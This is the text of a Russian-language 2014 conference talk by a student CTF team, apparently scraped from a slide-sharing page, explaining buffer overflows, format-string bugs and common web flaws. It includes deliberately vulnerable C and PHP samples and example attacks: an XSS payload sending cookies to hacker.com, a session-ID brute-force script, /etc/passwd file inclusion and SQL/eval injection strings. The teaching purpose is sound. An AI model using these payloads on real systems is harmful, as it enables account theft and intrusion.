Уязвимости для самых
маленьких. Что это, как их
эксплуатировать и как от них
избавиться
Кто мы вообще такие?
Мы – команда молодых специалистов по информационной
безопасности CTRL-PNZ. Студенты и выпускники кафедры
«Информационная безопасность систем и технологий» ПГУ
Нас объединяет игра в CTF, уже второй год мы организуем собственные мероприятия IBSTPSU CTF.
Зачем?
Чтобы все желающие повышали свой уровень, чтобы студенты и школьники сталкивались с
практическими аспектами информационной безопасности в прикольной и доступной форме.
Кафедра
«Информационная
безопасность систем
и технологий»
Пензенский
государственный
университет
SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться
Первый этап – отборочный, в стиле Task-based CTF и
проводится по сети Интернет.
Команды решают задания, разбитые по различным категориям, и
получают за них баллы. Чаще всего это:
Администрирование;
Криптография;
Стеганография;
Раскрытие компьютерных преступлений;
Программирование;
Задачи на веб-технологии;
И многое, многое другое…
CTF - это командные соревнования, целью которых является оценка умения участников атаковать
и защищать компьютерные системы.
В США и Европе в CTF играют давно, в России с 2006 года. Но сейчас CTF набирает обороты и в России. И это круто!
Это законный способ учиться компьютерной безопасности не только в теории, но и на практике, причем делать это
еще и играя!
Финал проводится в ПГУ, в стиле Classic CTF. Это непосредственное
противоборство участников, имеющих одинаковый набор систем
и сервисов.
Задачи участников «классического» CTF:
Поддерживать работоспособность сервисов, которая периодически
проверяется жюри;
Устранять уязвимости на своем сервере;
Эксплуатировать уязвимости, найденные на серверах противника;
Делать описания найденных уязвимостей, способов их эксплуатации и
устранения.
Причины появления
уязвимостей или «откуда растут
ноги»
• Недостаточное знание безопасных методов программирования
разработчиками
• Ошибки проектирования и «ляпы» при разработке
• Банальная лень и невнимательность
*Уязвимость - недостаток в системе,
используя который, можно намеренно
нарушить её целостность и вызвать
неправильную работу.
Не ошибается то, что не работает.
(c) Windows
Никакое программное обеспечение небезопасно! Даже если своевременно
устанавливать свежие заплатки, всегда существует риск, что злоумышленник
найдет новую дыру, о которой еще никто не знает, и с успехом воспользуется
ею. ©Крис Касперски
Чем мы займемся сейчас?
• «Вкратце о наболевшем»
Переполнение буфера на стеке и на куче, атаки форматной строки и другие
непонятные вещи в доступной форме.
Рубцов Ян, капитан команды Ctrl-PNZ
• «Web в опасности!»
Подробное описание популярных уязвимостей веб-приложений. С примерами!
Гринзовский Илья, специалист по WEB-технологиям
А еще на первом этаже сразу напротив входа стоят наши стенды =)
Их можно и даже нужно потрогать руками!
Вкратце о
наболевшем
Рубцов Ян
Команда Ctrl-PNZ, ПГУ
О докладчике
• Участник различных CTF (Capture The Flag), капитан команды
CTRL-PNZ
• Разработчик заданий IBST PSU CTF 2013, 2014
• Разработчик системы проведения IBST PSU CTF 2014
• Занимаюсь «понемногу всем подряд», прямо сейчас отдуваюсь за
одного из членов команды
Что вообще такое переполнение
буфера?
Буфер – это некая область памяти.
Переполнение возникает при попытке запихать в
буфер больше данных, чем он может принять.
Индексное переполнение при чтении =>
seq_write(char *p)
{
char buff[8];
...
strcpy(buff, p);
}
idx_write(int i)
{
char buff[]="0123456789";
...
return buff[i];
}
Чем оно грозит?
• Запись в произвольные ячейки памяти
• Передача управления по произвольным
адресам
• Раскрытие или навязывание конфиденциальной
информации
• Атака на логику работы программы (отладочные
люки, флаги, индексы и прочие плюшки от
разработчика)
• Атака «отказ в обслуживании»
=>
=>исполнение shell-кода => PROFIT!
=>
Перечислим? #1
Атака на скалярные переменные
При атаке до вызова strlen переменная
b может быть затерта и цикл выйдет за
пределы src и dst
f(char *dst, char *src)
{
char buf[xxx];
int a;
int b;
...
b = strlen(src);
...
for (a = 0; a < b; a++)
*dst++ = *src++;
f(char *psswd)
{
char buf[MAX_BUF_SIZE];
int auth_flag = PASSWORD_NEEDED;
printf("скажи пароль:");
gets(buf);
if (auth_flag != PASSWORD_NEEDED)
return PASSWORD_OK;
return strcmp(passwd, buf);
}
©Крис Касперски aka мыщъх
Атака на индексы
Целочисленное переполнение
Перечислим? #2
Атака типа «POKE»
Атака типа «PEEK»
f()
{
char buf[MAX_BUF_SIZE]; int a; int *b;
...
gets(buf);
...
*b = a;
}
f()
{
char buf[MAX_BUF_SIZE]; int *b;
...
gets(buf);
...
printf("%xn", *b);
}
©Крис Касперски aka мыщъх
f()
{
int *p; char buf[MAX_BUF_SIZE]; int a; int b;
...
gets(buf);
...
p[b] = a;
}
f()
{
int *p; char buf[MAX_BUF_SIZE]; int a; int b;
...
gets(buf);
...
p[b] = a;
}
Она упала!
Unused_function()
{
….
return;
}
main()
{
buf_1[16];
buf_2[16];
gets(buf_1);
gets(buf_2);
….
//здесь должна быть логика, но на это нет денег =(
….
return;
}
Какой буфер?
• На стеке (автоматическая память)
• На куче (динамическая память)
• В сегменте данных (WTF?!)
О чем НЕ пойдет речь
• Про неисполняемый стек
• Про особенности работы некоторых компиляторов (далеко не
всегда спасают)
• NIX-срачи
VirtualProtect, VirtualAlloc и т.п. + говнокод =
Все не так уж и плохо?
• Ограничения на ввод в строковых буферах
• Размер переполняющихся буферов слишком мал
• Все по-разному на разных ОС
• Адреса непостоянны
• Поиск и эксплуатация - сложная штука
Все хорошо? Нет.
• Нет методик автоматического обнаружения и ликвидации
• Борьба с возможным переполнением = потеря
производительности
• Системы обнаружения вторжений и межсетевые экраны – не
панацея
А вы уже забыли про
форматный ввод?int cpt1 = 0;
int cpt2 = 0;
int addr_cpt1 = &cpt1;
int addr_cpt2 = &cpt2;
printf(argv[1]);
printf("ncpt1 = %dn", cpt1);
printf("cpt2 = %dn", cpt2);
>>./program AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./program AAAA%1$n
AAAA
cpt1 = 0
cpt2 = 4
>>./program AAAA%2$n
AAAA
cpt1 = 4
cpt2 = 0
Количество символов в строке формата до спецификатора
%n сохраняется в переменной (int), адрес которой идет
следующим аргументом. Никакие аргументы не
конвертируются. ©man
Немного бла-бла-бла или я не
стал делать слайд
Немного жесткого shitcode или
исходники стенда
memset(buffer,0x0,ANSWER_SIZE);
memset(answerBuffer,0x0,ANSWER_SIZE);
memcpy(answerBuffer + BUFFER_SIZE,"fuck yeah!",sizeof("fuck yeah!"));
recived = recv(client.acceptSocket,buffer,ANSWER_SIZE-1,0);
memcpy(answerBuffer,buffer,ANSWER_SIZE > strlen(buffer)-1 ? strlen(buffer)-1 : ANSWER_SIZE-2);
memcpy(answerBuffer+strlen(answerBuffer),"n",strlen("n"));
send(client.acceptSocket,answerBuffer,(int)strlen(answerBuffer),0);
Несложно догадаться, что при
#define BUFFER_SIZE 16
#define ANSWER_SIZE 64
искомая строка fuck yeah! отдается при вводе всего лишь 123456789012345 а потом начинает «затираться»
Web в
опасности!
Гринзовский Илья
Команда Ctrl-PNZ, ПГУ
Обо мне
• Участник различных CTF (Capture The Flag)
• Разработчик заданий IBST PSU CTF 2013, 2014
• Web-разработчик
С безопасностью
в вебе все очень
плохо…
…или почти все
Злоупотребление
функциональностью
Использование приложения злоумышленником для
атак на пользователей приложения, другие сервисы
и ресурсы
Brute force
Отправка запросов от имени
легитимного пользователя, получение
дополнительной информации о
приложении, выполнение
неавторизованных действий
Переполнение буфера
Злоумышленник может управлять
процессом, «вешать»
процесс, перезаписывать внутренние
переменные и выполнять действия от
имени процесса
Подмена контента
Получение данных
пользователя, выполнение на стороне
клиента произвольного кода
URL:
http://example.com/news.php?title=Введите%20свой%20логин%
20и%20пароль&link=http://evilsite.com/spoofed.html
CODE:
<h1><?=$_GET['title'];?></h1>
<iframe src="<?=$_GET['link'];?>"></iframe>
RESULT:
<h1>Введите свой логин и пароль</h1>
<iframe src="http://evilsite.com/spoofed.html"></iframe>
Предсказуемое значение сессии
Создание запросов к приложению с
правами скомпрометированного
пользователя
PHP:
$session_id = ‘AD33300002820’ . $userId;
OR
$session_id = md5($username);
Python:
session_id = str(random.randint(2000, 4000))
OR
sha1 = hashlib.sha1(username + str(random.randint(0, 50000)))
access_code = sha1.hexdigest()
Exploit example
s = requests.Session()
url = 'http://victim.com/profile'
for x in range(0, 50000):
session_id = hashlib.sha1('username' + str(x)).hexdigest()
c = dict(id=session_id)
r = s.get(url, cookies=c)
if r.status_code == 200:
print session_id
Cross-site Scripting
Выполнение на стороне клиента
произвольного кода
XSS in action
<?php
// Отправка сообщение
$msg = $_POST['msg_text'];
$receiver_id = intval($_POST['receiver_id']);
$sender_id = $current_user['id'];
$db->insert(array(
'msg' => $msg,
'receiver_id' => $receiver_id,
'sender_id' => $sender_id
));
?>
<?php
// Просмотр сообщения
$msg = get_msg($msg_id);
?>
<div>
<p><?=$msg['msg']?></p>
</div>
XSS in action
Hacker’s request:
example.com/send.php
POST DATA:
msg_text=<script>window.location=‘http://hacker.com/sniff?’+docume
nt.cookie</script>&receiver_id=372324
Receiver side:
<div>
<p><script>window.location=‘http://hacker.com/sniff?’+document.cook
ie</script></p>
</div>
Fingerprinting
Получение подробной информации о
конфигурации приложения
Fingerprinting in nature
Отказ в обслуживании
Отказ одной или нескольких подсистем
приложения для 1, 2, …, всех
пользователей
Предсказуемое расположение
ресурсов
Выполнение неавторизованных
действий, получение
неавторизованного доступа к
различным файлам
Remote/Local File inclusion
Исполнение произвольного кода на
стороне сервера, выполнение кода на
стороне клиента
Local File Inclusion
Code:
<?php
include(‘../templates/’ . $_GET*‘template’+);
?>
Hacker’s request:
http://site.com?page.php?template=../../../../../../etc/passwd
OR
http://site.com?page.php?template=../images/shell.jpg
Инъекции (внедрение кода)
Исполнение произвольного кода на
стороне сервера, чтение, запись
файлов, выполнение команд ОС
PHP CODE: $query = ‘SELECT title, text FROM pages WHERE id = ’ .
$_GET*‘id’+;
Exploit: http://site.com/?id=-1 union select login, password FROM
users limit 2,1
NodeJS CODE: var loginParam = eval("({ login: '" + login + "', password:
'" + password + "' })");
Hacker’s Login: root'})//
Hacker’s Password: 23423
Result:
({ login: 'root'})//', password: '23423' })
db.users.findOne({ login: 'root' })
*данные Positive Technologies
Вопросы?

More Related Content

ODP
5 встреча — Информационная безопастность (А. Свириденков)
PDF
Особенности использования машинного обучения при защите от DDoS-атак
PPTX
Целевые атаки: прицелься первым
PDF
Бекдоры в пхп. Остаться незамеченным или проникновение без боли
PDF
flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rms
PDF
Добро пожаловать в практическую безопасность (Сергей Белов)
PDF
Magic Box, или Как пришлось сломать банкоматы, чтобы их спасти
PPT
Positive Hack Days. Гуркин. Угрозы безопасности АСУ ТП
5 встреча — Информационная безопастность (А. Свириденков)
Особенности использования машинного обучения при защите от DDoS-атак
Целевые атаки: прицелься первым
Бекдоры в пхп. Остаться незамеченным или проникновение без боли
flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rms
Добро пожаловать в практическую безопасность (Сергей Белов)
Magic Box, или Как пришлось сломать банкоматы, чтобы их спасти
Positive Hack Days. Гуркин. Угрозы безопасности АСУ ТП

What's hot (8)

PPTX
Пост-эксплуатация веб-приложений в тестах на проникновение
PPTX
Хакер в ловушке, или Практическая демонстрация блокировки эксплойтов и крипто...
PPT
Hacker Attack 2008 Netsajev Sg
PPTX
Разведка боем
PPT
PT MIFI Labxss
PDF
DEFCON и развитие информационной безопасности в стране
PPT
Троянские программы.
Пост-эксплуатация веб-приложений в тестах на проникновение
Хакер в ловушке, или Практическая демонстрация блокировки эксплойтов и крипто...
Hacker Attack 2008 Netsajev Sg
Разведка боем
PT MIFI Labxss
DEFCON и развитие информационной безопасности в стране
Троянские программы.
Ad

Similar to SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться (20)

PDF
Buffer overflow and other software vulnerabilities: theory and practice of pr...
PDF
Переполнение буфера и другие уязвимости ПО - Роман Олейников
PPTX
разработка безопасного кода
PDF
Переполнение буфера: лопнуть как мыльный пузырь
PPTX
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...
PPTX
Антон Сапожников. Еще один недостаток современных клиент-серверных приложений
PPTX
Практика эксплуатации уязвимостей в прикладных программах
PDF
Operating Systems Hardening
PDF
Pt devteev-risspa
PPTX
Информационная безопасность в веб - основы
PPTX
[DagCTF 2015] Hacking motivation
PDF
еще один недостаток современных клиент серверных приложений
PPT
Информационная Безопасность. Современные угрозы и области компетенций
PPT
PPT
Информационная безопасность и web-приложения
PPTX
C++ CoreHard Autumn 2018. Информационная безопасность и разработка ПО - Евген...
PPTX
Alexei Sintsov - "Between error and vulerability - one step"
PPT
Безопасность веб-приложений сегодня
PPT
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
PPT
Админская_паранойя_в_быту
Buffer overflow and other software vulnerabilities: theory and practice of pr...
Переполнение буфера и другие уязвимости ПО - Роман Олейников
разработка безопасного кода
Переполнение буфера: лопнуть как мыльный пузырь
23may 1300 valday антон сапожников 'еще один недостаток современных клиент се...
Антон Сапожников. Еще один недостаток современных клиент-серверных приложений
Практика эксплуатации уязвимостей в прикладных программах
Operating Systems Hardening
Pt devteev-risspa
Информационная безопасность в веб - основы
[DagCTF 2015] Hacking motivation
еще один недостаток современных клиент серверных приложений
Информационная Безопасность. Современные угрозы и области компетенций
Информационная безопасность и web-приложения
C++ CoreHard Autumn 2018. Информационная безопасность и разработка ПО - Евген...
Alexei Sintsov - "Between error and vulerability - one step"
Безопасность веб-приложений сегодня
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
Админская_паранойя_в_быту
Ad

More from Конференция разработчиков программного обеспечения SECON'2014 (16)

PDF
SECON'2014 - Сергеев Антон - Асинхронные задачи в iFunny
PPTX
SECON'2014 - Тимур Салюков - История одного кейса Gorussia2014.ru. Как добить...
PPTX
SECON'2014 - Максим Цепков - DDD: от требований до кода
PDF
SECON'2014 - Кирилл Мокевнин - Формирование инженерной культуры
PDF
SECON'2014 - Юрий Бушмелев - Эволюция системного администратора
PPTX
SECON'2014 - Алексей Кошкидько - Межконтинентальный опыт внедрения Agile
PPTX
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
ODP
SECON'2014 - Сергей Цивин - Производительность веб-приложений
PPTX
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
PPTX
SECON'2014 - Антон Веретенников, Илья Семаков - Переход от коллбеков к событиям
PDF
SECON'2014 - Сергей Шпадырев - Разработка 3D-игры на Flash: едем с костылями...
PDF
SECON'2014 - Андрей Устюжанин - Маленькие секреты больших данных
PDF
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
PDF
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
PDF
SECON'2014 - Александр Бындю - Переход от монолитной архитектуры к распределе...
SECON'2014 - Сергеев Антон - Асинхронные задачи в iFunny
SECON'2014 - Тимур Салюков - История одного кейса Gorussia2014.ru. Как добить...
SECON'2014 - Максим Цепков - DDD: от требований до кода
SECON'2014 - Кирилл Мокевнин - Формирование инженерной культуры
SECON'2014 - Юрий Бушмелев - Эволюция системного администратора
SECON'2014 - Алексей Кошкидько - Межконтинентальный опыт внедрения Agile
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
SECON'2014 - Сергей Цивин - Производительность веб-приложений
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
SECON'2014 - Антон Веретенников, Илья Семаков - Переход от коллбеков к событиям
SECON'2014 - Сергей Шпадырев - Разработка 3D-игры на Flash: едем с костылями...
SECON'2014 - Андрей Устюжанин - Маленькие секреты больших данных
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
SECON'2014 - Александр Бындю - Переход от монолитной архитектуры к распределе...

SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

  • 1. Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться
  • 2. Кто мы вообще такие? Мы – команда молодых специалистов по информационной безопасности CTRL-PNZ. Студенты и выпускники кафедры «Информационная безопасность систем и технологий» ПГУ Нас объединяет игра в CTF, уже второй год мы организуем собственные мероприятия IBSTPSU CTF. Зачем? Чтобы все желающие повышали свой уровень, чтобы студенты и школьники сталкивались с практическими аспектами информационной безопасности в прикольной и доступной форме. Кафедра «Информационная безопасность систем и технологий» Пензенский государственный университет
  • 4. Первый этап – отборочный, в стиле Task-based CTF и проводится по сети Интернет. Команды решают задания, разбитые по различным категориям, и получают за них баллы. Чаще всего это: Администрирование; Криптография; Стеганография; Раскрытие компьютерных преступлений; Программирование; Задачи на веб-технологии; И многое, многое другое… CTF - это командные соревнования, целью которых является оценка умения участников атаковать и защищать компьютерные системы. В США и Европе в CTF играют давно, в России с 2006 года. Но сейчас CTF набирает обороты и в России. И это круто! Это законный способ учиться компьютерной безопасности не только в теории, но и на практике, причем делать это еще и играя! Финал проводится в ПГУ, в стиле Classic CTF. Это непосредственное противоборство участников, имеющих одинаковый набор систем и сервисов. Задачи участников «классического» CTF: Поддерживать работоспособность сервисов, которая периодически проверяется жюри; Устранять уязвимости на своем сервере; Эксплуатировать уязвимости, найденные на серверах противника; Делать описания найденных уязвимостей, способов их эксплуатации и устранения.
  • 5. Причины появления уязвимостей или «откуда растут ноги» • Недостаточное знание безопасных методов программирования разработчиками • Ошибки проектирования и «ляпы» при разработке • Банальная лень и невнимательность *Уязвимость - недостаток в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу. Не ошибается то, что не работает. (c) Windows Никакое программное обеспечение небезопасно! Даже если своевременно устанавливать свежие заплатки, всегда существует риск, что злоумышленник найдет новую дыру, о которой еще никто не знает, и с успехом воспользуется ею. ©Крис Касперски
  • 6. Чем мы займемся сейчас? • «Вкратце о наболевшем» Переполнение буфера на стеке и на куче, атаки форматной строки и другие непонятные вещи в доступной форме. Рубцов Ян, капитан команды Ctrl-PNZ • «Web в опасности!» Подробное описание популярных уязвимостей веб-приложений. С примерами! Гринзовский Илья, специалист по WEB-технологиям А еще на первом этаже сразу напротив входа стоят наши стенды =) Их можно и даже нужно потрогать руками!
  • 8. О докладчике • Участник различных CTF (Capture The Flag), капитан команды CTRL-PNZ • Разработчик заданий IBST PSU CTF 2013, 2014 • Разработчик системы проведения IBST PSU CTF 2014 • Занимаюсь «понемногу всем подряд», прямо сейчас отдуваюсь за одного из членов команды
  • 9. Что вообще такое переполнение буфера? Буфер – это некая область памяти. Переполнение возникает при попытке запихать в буфер больше данных, чем он может принять. Индексное переполнение при чтении => seq_write(char *p) { char buff[8]; ... strcpy(buff, p); } idx_write(int i) { char buff[]="0123456789"; ... return buff[i]; }
  • 10. Чем оно грозит? • Запись в произвольные ячейки памяти • Передача управления по произвольным адресам • Раскрытие или навязывание конфиденциальной информации • Атака на логику работы программы (отладочные люки, флаги, индексы и прочие плюшки от разработчика) • Атака «отказ в обслуживании» => =>исполнение shell-кода => PROFIT! =>
  • 11. Перечислим? #1 Атака на скалярные переменные При атаке до вызова strlen переменная b может быть затерта и цикл выйдет за пределы src и dst f(char *dst, char *src) { char buf[xxx]; int a; int b; ... b = strlen(src); ... for (a = 0; a < b; a++) *dst++ = *src++; f(char *psswd) { char buf[MAX_BUF_SIZE]; int auth_flag = PASSWORD_NEEDED; printf("скажи пароль:"); gets(buf); if (auth_flag != PASSWORD_NEEDED) return PASSWORD_OK; return strcmp(passwd, buf); } ©Крис Касперски aka мыщъх
  • 12. Атака на индексы Целочисленное переполнение Перечислим? #2 Атака типа «POKE» Атака типа «PEEK» f() { char buf[MAX_BUF_SIZE]; int a; int *b; ... gets(buf); ... *b = a; } f() { char buf[MAX_BUF_SIZE]; int *b; ... gets(buf); ... printf("%xn", *b); } ©Крис Касперски aka мыщъх f() { int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a; } f() { int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a; }
  • 14. Какой буфер? • На стеке (автоматическая память) • На куче (динамическая память) • В сегменте данных (WTF?!)
  • 15. О чем НЕ пойдет речь • Про неисполняемый стек • Про особенности работы некоторых компиляторов (далеко не всегда спасают) • NIX-срачи VirtualProtect, VirtualAlloc и т.п. + говнокод =
  • 16. Все не так уж и плохо? • Ограничения на ввод в строковых буферах • Размер переполняющихся буферов слишком мал • Все по-разному на разных ОС • Адреса непостоянны • Поиск и эксплуатация - сложная штука
  • 17. Все хорошо? Нет. • Нет методик автоматического обнаружения и ликвидации • Борьба с возможным переполнением = потеря производительности • Системы обнаружения вторжений и межсетевые экраны – не панацея
  • 18. А вы уже забыли про форматный ввод?int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("ncpt1 = %dn", cpt1); printf("cpt2 = %dn", cpt2); >>./program AAAA AAAA cpt1 = 0 cpt2 = 0 >>./program AAAA%1$n AAAA cpt1 = 0 cpt2 = 4 >>./program AAAA%2$n AAAA cpt1 = 4 cpt2 = 0 Количество символов в строке формата до спецификатора %n сохраняется в переменной (int), адрес которой идет следующим аргументом. Никакие аргументы не конвертируются. ©man
  • 19. Немного бла-бла-бла или я не стал делать слайд
  • 20. Немного жесткого shitcode или исходники стенда memset(buffer,0x0,ANSWER_SIZE); memset(answerBuffer,0x0,ANSWER_SIZE); memcpy(answerBuffer + BUFFER_SIZE,"fuck yeah!",sizeof("fuck yeah!")); recived = recv(client.acceptSocket,buffer,ANSWER_SIZE-1,0); memcpy(answerBuffer,buffer,ANSWER_SIZE > strlen(buffer)-1 ? strlen(buffer)-1 : ANSWER_SIZE-2); memcpy(answerBuffer+strlen(answerBuffer),"n",strlen("n")); send(client.acceptSocket,answerBuffer,(int)strlen(answerBuffer),0); Несложно догадаться, что при #define BUFFER_SIZE 16 #define ANSWER_SIZE 64 искомая строка fuck yeah! отдается при вводе всего лишь 123456789012345 а потом начинает «затираться»
  • 22. Обо мне • Участник различных CTF (Capture The Flag) • Разработчик заданий IBST PSU CTF 2013, 2014 • Web-разработчик
  • 23. С безопасностью в вебе все очень плохо… …или почти все
  • 24. Злоупотребление функциональностью Использование приложения злоумышленником для атак на пользователей приложения, другие сервисы и ресурсы
  • 25. Brute force Отправка запросов от имени легитимного пользователя, получение дополнительной информации о приложении, выполнение неавторизованных действий
  • 26. Переполнение буфера Злоумышленник может управлять процессом, «вешать» процесс, перезаписывать внутренние переменные и выполнять действия от имени процесса
  • 27. Подмена контента Получение данных пользователя, выполнение на стороне клиента произвольного кода
  • 29. Предсказуемое значение сессии Создание запросов к приложению с правами скомпрометированного пользователя
  • 30. PHP: $session_id = ‘AD33300002820’ . $userId; OR $session_id = md5($username); Python: session_id = str(random.randint(2000, 4000)) OR sha1 = hashlib.sha1(username + str(random.randint(0, 50000))) access_code = sha1.hexdigest()
  • 31. Exploit example s = requests.Session() url = 'http://victim.com/profile' for x in range(0, 50000): session_id = hashlib.sha1('username' + str(x)).hexdigest() c = dict(id=session_id) r = s.get(url, cookies=c) if r.status_code == 200: print session_id
  • 32. Cross-site Scripting Выполнение на стороне клиента произвольного кода
  • 33. XSS in action <?php // Отправка сообщение $msg = $_POST['msg_text']; $receiver_id = intval($_POST['receiver_id']); $sender_id = $current_user['id']; $db->insert(array( 'msg' => $msg, 'receiver_id' => $receiver_id, 'sender_id' => $sender_id )); ?> <?php // Просмотр сообщения $msg = get_msg($msg_id); ?> <div> <p><?=$msg['msg']?></p> </div>
  • 34. XSS in action Hacker’s request: example.com/send.php POST DATA: msg_text=<script>window.location=‘http://hacker.com/sniff?’+docume nt.cookie</script>&receiver_id=372324 Receiver side: <div> <p><script>window.location=‘http://hacker.com/sniff?’+document.cook ie</script></p> </div>
  • 35. Fingerprinting Получение подробной информации о конфигурации приложения
  • 37. Отказ в обслуживании Отказ одной или нескольких подсистем приложения для 1, 2, …, всех пользователей
  • 38. Предсказуемое расположение ресурсов Выполнение неавторизованных действий, получение неавторизованного доступа к различным файлам
  • 39. Remote/Local File inclusion Исполнение произвольного кода на стороне сервера, выполнение кода на стороне клиента
  • 40. Local File Inclusion Code: <?php include(‘../templates/’ . $_GET*‘template’+); ?> Hacker’s request: http://site.com?page.php?template=../../../../../../etc/passwd OR http://site.com?page.php?template=../images/shell.jpg
  • 41. Инъекции (внедрение кода) Исполнение произвольного кода на стороне сервера, чтение, запись файлов, выполнение команд ОС
  • 42. PHP CODE: $query = ‘SELECT title, text FROM pages WHERE id = ’ . $_GET*‘id’+; Exploit: http://site.com/?id=-1 union select login, password FROM users limit 2,1 NodeJS CODE: var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })"); Hacker’s Login: root'})// Hacker’s Password: 23423 Result: ({ login: 'root'})//', password: '23423' }) db.users.findOne({ login: 'root' })